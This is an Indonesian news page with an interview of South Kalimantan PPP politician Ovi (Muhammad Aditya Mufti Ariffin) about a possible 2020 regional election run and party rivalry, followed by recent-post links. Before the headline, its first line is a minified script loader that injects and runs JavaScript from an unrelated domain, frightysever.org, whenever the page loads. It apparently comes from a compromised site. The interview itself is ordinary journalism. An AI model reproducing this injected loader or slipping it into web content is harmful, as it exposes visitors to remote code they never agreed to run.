(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ovi: Kalau Saya dan Pak Jaya Sama-Sama Maju, Ya Gak Masalah!


BANJARBARU, Darah politik mengalir dalam diri Muhammad Aditya Mufti Ariffin. Selain diwarisi dari ayahnya yang mantan Gubernur Kalsel Rudy Ariffin, tempaan iklim politik selama dua periode di Senayan membuat pria kelahiran Banjarbaru, 21 Maret 1984 silam ini, matang di tengah usianya yang masih terbilang muda. Maka tak heran, roda PPP Kalsel pun dipercayakan kepada dirinya.

Muda dan penuh semangat, Ovi—demikian dia biasa diakrabi, mampu membawa PPP meraih suara 9,24 persen pada Pemilu 2019 lalu. Meski kenyataan pahit harus diterima, bahwa dia gagal mempertahankan kursi untuk ketiga kalinya di DPR, karir politik Ovi tak surut. Bahkan, namanya kini masuk dalam wacana salah satu calon kuat dalam pertarungan Pilkada 2020 nanti. Entah untuk Pilgub, maupun Pilkada Walikota Banjarbaru atau Bupati Banjar.

Sejumlah poling tak pernah absen memasukkan namanya sebagai salah satu calon yang potensial. Kepastian dimana akan berlaga belum keluar dari statmen dia. Meskipun santer, dia telah memilih Banjarbaru sebaga medan pertarungannya.

Bagi sejumlah kalangan, tampinya Ovi di Banjarbaru akan menyebabkan benturan internal dengan kader PPP lain. Yakni Ketua PPP Banjarbaru Darmawan Jaya Setiawan, yang saat ini masih menjabat sebagai pendamping Walikota Nadjmi Adhani.

Lalu bagaimana menyikapi situasi ini? Simak wawancara jurnalis Kanalkalimantan.com Alfrico Ronaldi Purba dengan Ovi, Rabu (12/6) malam :

——–

Nama Anda menjadi salah satu yang banyak disebut sebagai calon kuat untuk Pilkada 2020 nanti. Baik untuk calon Gubernur, Walikota Banjarbaru, maupun Bupati Banjar. Bagaimana tanggapan Anda?

Insya Allah. Saya akan maju sebagai peserta Pilkada 2020. Tapi semua masih berproses, tunggu saja. Kemungkinan antara Kabupaten Banjar atau Kota Banjarbaru. Toh, waktunya juga masih lama juga kan.

Antara Kabupaten Banjar dan Kota Banjarbaru, mana yang menurut Anda lebih berpeluang?

Intinya, kita mau maju sebagai kepala daerah tujuannya adalah mengabdi untuk membangun dan memajukan daerah. Dimanapun kita nantinya maju, dan kalau terpilih tujuannya selanjutnya menjadi melayani masyarakat. Jadi dimana pun itu kita siap.

Yang lebih prioritas mana?

Dua-duanya prioritas. Makanya kita mau melaksanakan survey dan lain-lain dulu agar dalam memasuki kompetisi Pilkada ini semuanya siap. Termasuk pada saat membuat visi misi serta janji kampanye nantinya bisa direalisasikan dengan sebaik-baiknya.

Memimpin di Kabupaten Banjar medannya lebih sulit dari Banjarbaru, apakah itu menjadi pertimbangan untuk condong ke Walikota?

Belum ada kecondongan ke arah Kabupaten Banjar atau Banjarbaru. Yang ada baru mau memetakan melalui survey. Jadi Kabupaten atau Kota yang mana lebih bisa menang dalam Pilkada ini. Sementara itu dulu.

PPP memiliki suara cukup besar dari hasil Pemilu lalu, tapu tentu koalisi harus tetap diperhintungkan. Sudah adakah pembicaraan serius dengan Parpol lain?

Ya, itu semua setelah survey.

Lalu, siapa yang akan Anda ajak sebagai pendamping? Sudah ada gambaran?

Kemungkinan besar kalau kita maju antara kader parpol atau birokrat.

Di Banjarbaru ada sosok Pak Darmawan Jaya yang saat ini menjabat sebagai wakil walikota dan juga Ketua PPP Banjarbaru. Apakah ini tidak menjadi kendala secara psikologis?

Ya kalaupun saya maju di kota Banjarbaru dan Pak Jaya maju juga tidak masalah, semakin banyak kader yang maju semakin bagus.  Satu partai dua kader yang maju tidak ada masalah. Cuma satu partai cuma bisa memajukan satu pasangan calon kalau cukup persentasinya, kalau tidak cukup ya harus mencari partai lain untuk mencukupkan.

Kalau saya sepasang dengan Pak Jaya ga ada masalah. Yang sulit adalah kalau saya maju berpasangan dengan orang selain Pak Jaya. Yang menentukan kan adalah DPP partai siapa yang mendapat mandat dari pusat.

Jadi antara saya dengan Pak Jaya tidak ada masalah. Kalau Pak Jaya yang mendapat mandat mungkin kalau saya maju di Banjarbaru akan mencari partai lain sebagai pengusung atau jalur independent Tapi yang jelas kami sampai saat ini belum memutuskan maju di Kabupaten Banjar atau Banjarbaru sambil menunggu hasil survey yang akan kami lakukan.

Anda dapat memastikan bahwa tidak ada konflik internal partai?

Kami di PPP selalu melaksanakan sesuatu diputuskan secara demokratis dan penuh rasa kekeluargaan. Jadi tidak ada “perang saudara” di PPP.

Anda masih cukup muda, dan saat ini menjabat sebagai salah satu tokoh politik di Kalsel. Bagaimana jika menghadapi penantang atau pertahana yang lebih senior?

Sekarang banyak sekali calon dan kepala daerah yg umurnya sangat muda, sebagai contoh dulu di kalsel juga ada Pak Mardani yang menjadi Bupati di umur 29 tahun dan Pak Rosehan yang menjadi wagub di umur 37 tahun. Jadi kalau kita harus berhadapan dengan yang lebih senior tidak masalah, kan masyarakat yang menilai dan menentukan pilihan.

Jika nanti bertarung di Pilkada, apa yang nantinya akan membedakan kebijakan anda sebagai pemimpin, dengan para kandidat yang lain?

Karena saya terbiasa di DPR, jadi pada saat membuat suatu kebijakan pasti sebelumnya akan saya undang tokoh masyarakat baik itu akademisi dan lain-lain. Agar kebijakan yang dibuat tidak bertentangan dengan kehendak keinginan masyarakat. Dan saat ini juga tekhnologi sudah sangat maju, jadi kita ingin teknologi yang berkembang saat ini juga menjadi suatu sistem yang mendukung pembangunan nantinya.

Banyak yang mengatakan ongkos pilkada mahal. Anda, siap modal finansial?

Mahal kalau memang pertama popularitas, elekabilitas, serta investasi sosial dan investasi politik minim. Tapi kan selama ini kami selalu turun menemui masyarakat baik melalui reses, sosialisasi dan acara lainnya. Jadi untuk pilkada rasanya tidak perlu banyak keluar uang.

Bagaimana dengan kegagalan memperoleh kursi di DPR waktu lalu, apakah menjadi salah satu faktor agar lebih waspada?

Itu menjadi pembelajaran bagi kami, dan dalam kita memasuki suatu kompetisi pasti ada resiko, kalah menang itu adalah resiko.

Bagaimana menurut Anda dengan munculnya wajah-wajah muda sebagai calon Kepala Daerah saat ini?

Kita menyambut positive dengan majunya tokoh tokoh muda, biar bagaimanapun regenerasi itu harus berjalan. Beri kesempatan kepada yang muda jangan selalu wajah lama yang mendominasi dan pemilih pun memiliki pilihan.(*)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

3 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

4 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

16 jam ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

16 jam ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

17 jam ago

Kunjungi Karangintan, Masyarakat Inginkan Saidi Mansyur Terpilih Lagi

KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More

21 jam ago

This website uses cookies.